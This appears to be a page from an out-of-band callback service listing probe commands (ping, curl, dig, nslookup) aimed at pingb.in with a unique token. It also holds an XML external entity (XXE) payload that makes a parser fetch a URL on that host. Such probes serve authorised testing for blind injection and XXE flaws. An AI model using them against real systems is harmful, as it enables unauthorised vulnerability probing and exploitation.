$ ping -c1 -p 00e30c7b0b4e0e88fa438e5022ddb100 pingb.in
 

$ curl pingb.in/p/e30c7b0b4e0e88fa438e5022ddb1
 

$ dig e30c7b0b4e0e88fa438e5022ddb1 @pingb.in
 

$ dig e30c7b0b4e0e88fa438e5022ddb1.ns.pingb.in
 

C:\> nslookup e30c7b0b4e0e88fa438e5022ddb1 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/e30c7b0b4e0e88fa438e5022ddb1">]>
    <foo>&xxe;</foo>